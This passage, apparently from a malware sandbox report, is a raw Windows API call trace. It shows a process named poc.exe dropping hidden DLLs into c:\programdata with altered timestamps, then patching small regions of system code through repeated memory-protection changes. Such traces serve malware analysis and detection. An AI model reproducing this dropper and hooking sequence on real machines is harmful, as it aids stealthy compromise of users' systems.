SetEvent (hEvent=0xd0) returned 1 [0093.218] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0093.218] CreateFileW (lpFileName="c:\\programdata\\ucl.dll" (normalized: "c:\\programdata\\ucl.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x198 [0093.219] NtReadFile (in: FileHandle=0x194, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x713f88, BufferLength=0xc, ByteOffset=0x28f340*=1453329, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x713f88*) returned 0x0 [0093.219] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0093.219] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0093.219] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0093.220] NtReadFile (in: FileHandle=0x194, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x52b7, ByteOffset=0x28f340*=1453341, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.221] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0093.221] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0093.221] WriteFile (in: hFile=0x198, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x6000, lpOverlapped=0x0) returned 1 [0093.222] SetFileTime (hFile=0x198, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0093.223] CloseHandle (hObject=0x198) returned 1 [0093.223] NtClose (Handle=0x198) returned 0xc0000008 [0093.223] RtlFreeAnsiString (AnsiString="\\") [0093.223] FindFirstFileW (in: lpFileName="c:\\programdata\\xdvl-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝澠u0")) returned 0xffffffff [0093.224] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0093.224] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\xdvl-0.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\xdvl-0.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.224] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.224] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x198, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0093.224] RtlFreeAnsiString (AnsiString="\\") [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] ResetEvent (hEvent=0xd0) returned 1 [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] ResetEvent (hEvent=0xd0) returned 1 [0093.224] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.224] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x19c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0093.224] RtlFreeAnsiString (AnsiString="\\") [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] SetEvent (hEvent=0xd4) returned 1 [0093.224] SetEvent (hEvent=0xd0) returned 1 [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] ResetEvent (hEvent=0xd0) returned 1 [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] GetCurrentThreadId () returned 0x24c [0093.224] ResetEvent (hEvent=0xd0) returned 1 [0093.225] GetCurrentThreadId () returned 0x24c [0093.225] GetCurrentThreadId () returned 0x24c [0093.225] SetEvent (hEvent=0xd4) returned 1 [0093.225] SetEvent (hEvent=0xd0) returned 1 [0093.225] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0093.225] CreateFileW (lpFileName="c:\\programdata\\xdvl-0.dll" (normalized: "c:\\programdata\\xdvl-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a0 [0093.225] NtReadFile (in: FileHandle=0x19c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x713fb8, BufferLength=0xc, ByteOffset=0x28f340*=1474516, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x713fb8*) returned 0x0 [0093.225] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0093.226] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0093.226] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0093.226] NtReadFile (in: FileHandle=0x19c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x4fb6, ByteOffset=0x28f340*=1474528, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.227] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0093.227] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0093.228] WriteFile (in: hFile=0x1a0, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x5600, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x5600, lpOverlapped=0x0) returned 1 [0093.229] SetFileTime (hFile=0x1a0, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0093.229] CloseHandle (hObject=0x1a0) returned 1 [0093.230] NtClose (Handle=0x1a0) returned 0xc0000008 [0093.230] RtlFreeAnsiString (AnsiString="\\") [0093.230] FindFirstFileW (in: lpFileName="c:\\programdata\\zlib1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝藸v0")) returned 0xffffffff [0093.311] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0093.311] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\zlib1.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\zlib1.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.311] VirtualAlloc (lpAddress=0x474000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0093.311] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.311] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x1a0, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0093.311] RtlFreeAnsiString (AnsiString="\\") [0093.311] GetCurrentThreadId () returned 0x24c [0093.311] ResetEvent (hEvent=0xd0) returned 1 [0093.311] GetCurrentThreadId () returned 0x24c [0093.311] GetCurrentThreadId () returned 0x24c [0093.311] ResetEvent (hEvent=0xd0) returned 1 [0093.311] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.311] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x1a4, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0093.312] RtlFreeAnsiString (AnsiString="\\") [0093.312] GetCurrentThreadId () returned 0x24c [0093.312] GetCurrentThreadId () returned 0x24c [0093.312] SetEvent (hEvent=0xd4) returned 1 [0093.312] SetEvent (hEvent=0xd0) returned 1 [0093.312] GetCurrentThreadId () returned 0x24c [0093.312] ResetEvent (hEvent=0xd0) returned 1 [0093.312] GetCurrentThreadId () returned 0x24c [0093.312] GetCurrentThreadId () returned 0x24c [0093.312] ResetEvent (hEvent=0xd0) returned 1 [0093.312] GetCurrentThreadId () returned 0x24c [0093.312] GetCurrentThreadId () returned 0x24c [0093.312] SetEvent (hEvent=0xd4) returned 1 [0093.312] SetEvent (hEvent=0xd0) returned 1 [0093.312] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0093.312] CreateFileW (lpFileName="c:\\programdata\\zlib1.dll" (normalized: "c:\\programdata\\zlib1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0093.313] NtReadFile (in: FileHandle=0x1a4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x474168, BufferLength=0xc, ByteOffset=0x28f340*=1494934, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x474168*) returned 0x0 [0093.313] VirtualAlloc (lpAddress=0x478000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x478000 [0093.313] VirtualAlloc (lpAddress=0x48c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x48c000 [0093.313] VirtualFree (lpAddress=0x488000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0093.314] NtReadFile (in: FileHandle=0x1a4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x48c004, BufferLength=0x8e85, ByteOffset=0x28f340*=1494946, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x48c004*) returned 0x0 [0093.315] VirtualFree (lpAddress=0x48c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0093.315] VirtualFree (lpAddress=0x478000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0093.316] WriteFile (in: hFile=0x1a8, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x8e00, lpOverlapped=0x0) returned 1 [0093.317] SetFileTime (hFile=0x1a8, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0093.317] CloseHandle (hObject=0x1a8) returned 1 [0093.318] NtClose (Handle=0x1a8) returned 0xc0000008 [0093.318] RtlFreeAnsiString (AnsiString="\\") [0093.318] VirtualFree (lpAddress=0x610000, dwSize=0x100000, dwFreeType=0x4000) returned 1 [0093.322] GetCurrentThreadId () returned 0x24c [0093.322] GetCurrentThreadId () returned 0x24c [0093.322] GetCurrentThreadId () returned 0x24c [0093.322] SetEvent (hEvent=0xd4) returned 1 [0093.322] GetCurrentProcessId () returned 0x388 [0093.322] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="EVB_98116DAEE265E470_00000388") returned 0x1a8 [0093.322] GetLastError () returned 0x0 [0093.322] GetCurrentProcess () returned 0xffffffff [0093.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.323] GetCurrentProcess () returned 0xffffffff [0093.323] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f9d0, dwSize=0x5) returned 1 [0093.323] GetCurrentProcess () returned 0xffffffff [0093.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.323] GetCurrentProcess () returned 0xffffffff [0093.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773400a4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.323] GetCurrentProcess () returned 0xffffffff [0093.323] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773400a4, dwSize=0x5) returned 1 [0093.323] GetCurrentProcess () returned 0xffffffff [0093.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773400a4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.323] GetCurrentProcess () returned 0xffffffff [0093.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd54, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.324] GetCurrentProcess () returned 0xffffffff [0093.324] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fd54, dwSize=0x5) returned 1 [0093.324] GetCurrentProcess () returned 0xffffffff [0093.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd54, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.324] GetCurrentProcess () returned 0xffffffff [0093.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff94, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.324] GetCurrentProcess () returned 0xffffffff [0093.324] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ff94, dwSize=0x5) returned 1 [0093.324] GetCurrentProcess () returned 0xffffffff [0093.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff94, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.324] GetCurrentProcess () returned 0xffffffff [0093.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc40, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.325] GetCurrentProcess () returned 0xffffffff [0093.325] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fc40, dwSize=0x5) returned 1 [0093.325] GetCurrentProcess () returned 0xffffffff [0093.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc40, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.325] GetCurrentProcess () returned 0xffffffff [0093.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.325] GetCurrentProcess () returned 0xffffffff [0093.325] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fc70, dwSize=0x5) returned 1 [0093.325] GetCurrentProcess () returned 0xffffffff [0093.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.325] GetCurrentProcess () returned 0xffffffff [0093.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8e0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.326] GetCurrentProcess () returned 0xffffffff [0093.326] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f8e0, dwSize=0x5) returned 1 [0093.326] GetCurrentProcess () returned 0xffffffff [0093.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8e0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.326] GetCurrentProcess () returned 0xffffffff [0093.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa00, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.326] GetCurrentProcess () returned 0xffffffff [0093.326] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa00, dwSize=0x5) returned 1 [0093.326] GetCurrentProcess () returned 0xffffffff [0093.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa00, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.326] GetCurrentProcess () returned 0xffffffff [0093.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc28, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.327] GetCurrentProcess () returned 0xffffffff [0093.327] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fc28, dwSize=0x5) returned 1 [0093.327] GetCurrentProcess () returned 0xffffffff [0093.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc28, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.327] GetCurrentProcess () returned 0xffffffff [0093.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe4c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.327] GetCurrentProcess () returned 0xffffffff [0093.327] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fe4c, dwSize=0x5) returned 1 [0093.327] GetCurrentProcess () returned 0xffffffff [0093.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe4c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.327] GetCurrentProcess () returned 0xffffffff [0093.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340040, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.327] GetCurrentProcess () returned 0xffffffff [0093.328] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340040, dwSize=0x5) returned 1 [0093.328] GetCurrentProcess () returned 0xffffffff [0093.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340040, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.328] GetCurrentProcess () returned 0xffffffff [0093.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734132c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.328] GetCurrentProcess () returned 0xffffffff [0093.328] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7734132c, dwSize=0x5) returned 1 [0093.328] GetCurrentProcess () returned 0xffffffff [0093.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734132c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.328] GetCurrentProcess () returned 0xffffffff [0093.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f918, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.328] GetCurrentProcess () returned 0xffffffff [0093.328] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f918, dwSize=0x5) returned 1 [0093.329] GetCurrentProcess () returned 0xffffffff [0093.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f918, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.329] GetCurrentProcess () returned 0xffffffff [0093.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8fc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.329] GetCurrentProcess () returned 0xffffffff [0093.329] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f8fc, dwSize=0x5) returned 1 [0093.329] GetCurrentProcess () returned 0xffffffff [0093.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8fc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.329] GetCurrentProcess () returned 0xffffffff [0093.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9e8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.329] GetCurrentProcess () returned 0xffffffff [0093.329] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f9e8, dwSize=0x5) returned 1 [0093.329] GetCurrentProcess () returned 0xffffffff [0093.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9e8, NumberOfBytesToProtect=0x28f8ec, 